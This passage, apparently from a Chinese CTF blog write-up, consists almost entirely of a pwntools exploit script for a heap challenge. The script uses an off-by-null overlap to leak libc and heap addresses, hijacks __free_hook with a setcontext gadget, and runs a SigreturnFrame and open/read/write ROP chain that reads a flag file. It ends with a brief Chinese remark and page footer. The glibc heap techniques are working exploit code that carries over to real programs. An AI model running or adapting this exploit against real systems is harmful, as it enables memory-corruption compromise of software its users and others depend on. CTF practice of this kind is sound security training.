elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32 = [0xcdd7b, 0x14895b, 0x14895c]
o_g = [0xe6d43, 0xe6d46, 0xe6d49]
def debug(cmd=''):
     gdb.attach(r,cmd)
def menu(ch):
    sea('Choice:', str(ch))
def add(size):
    menu(1)
    sea('Size: ', str(size))
def edit(idx, content):
    menu(2)
    sea('Index: ', str(idx))
    sea('Content:', content)
def free(idx):
    menu(3)
    sea('Index: ', str(idx))
def show(idx):
    menu(4)
    sea('Index: ', str(idx))

for i in range(3):
    add(0x1000)# 0-2
add(0xc10) #3
for i in range(7):
    add(0x28) #4-10

add(0xb20) #11
add(0x10) #12
free(11)
#-------------------------------------------------------
add(0x1000)#11
add(0x28)#13
edit(13, p64(0)+p64(0x521)+p8(0x60))
#------------------------fd->bk-------------------------
add(0x28)#14
add(0x28)#15
add(0x28)#16
add(0x28)#17
for i in range(7):
    free(i+4)
free(16)
free(14)
for i in range(7):
    add(0x28)
add(0x400)#14
add(0x28)#16
edit(16, p64(0)+p8(0x40))
#----------------------bk->fd---------------------------
add(0x28)#18
for i in range(7):
    free(i+4)
free(15)
free(13)
for i in range(7):
    add(0x28)
add(0x28)#13
edit(13, p8(0x40))
#------------------------off by null-------------------
add(0x28)#15

add(0x28)#19
add(0x5f8)#20
add(0x100)#21
edit(19, 'a'*0x20+p64(0x520))
free(20)
#---------------------------------------------------------------
add(0x18)
show(16)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 96 - 0x10
info('libc_base', libc_base)
gadget = libc_base + 0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
IO_stdin = libc_base +  libc.sym['_IO_2_1_stdin_']
setcontext = libc_base + libc.sym['setcontext'] + 61
frame_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
str_jumps = libc_base + 0x1ed560
pop_rdi = libc_base + 0x0000000000026b72 # pop rdi ; ret
pop_rsi = libc_base + 0x0000000000027529 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011c241 # pop rdx ; pop r12 ; ret
pop_rax = libc_base + 0x000000000004a5b0 # pop rax ; ret
syscall = libc_base+libc.search(asm("syscall\nret")).next()
ret = libc_base + 0x0000000000025679 # ret
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
Write = libc_base + libc.sym['write']
#---------------------------------------------------------------
add(0x28)#22
add(0x28)#23
add(0x28)#24
add(0x28)#25
add(0x28)#26
for i in range(7):
    free(i+4)
free(26)
free(25)
for i in range(7):
    add(0x28)
show(17)
rc(9)
heap_addr = uu64(rc(6)) + 0xa60
heap_orw = heap_addr + 0x20
flag = heap_addr - 0xae0
frame_addr = heap_addr - 0x48e0
info('heap_addr', heap_addr)
info('flag', flag)
info('heap_orw', heap_orw)
#----------------------------------------------------------------
add(0x28)#25
add(0x28)#26
for i in range(7):
    free(i+4)
free(22)
for i in range(7):
    add(0x28)
edit(16, p64(free_hook-0x10))
add(0x28)#22
add(0x28)#27
edit(27, p64(gadget))
edit(23, './flag\x00\x00')

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_orw
frame.rdx = 0x1000
frame.rsp = heap_orw
frame.rip = syscall
str_frame = str(frame)

p = p64(0)*4+p64(setcontext)
edit(0, p+str_frame[0x28:])

p = p64(0) + p64(frame_addr)

p2 = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)
p2 += p64(Open)
p2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Read)
p2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Write)

edit(11, p)
#debug()
free(11)
sl(p2)
#debug()
#sl('1')

r.interactive()

总结:

总结一下,调试是天

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值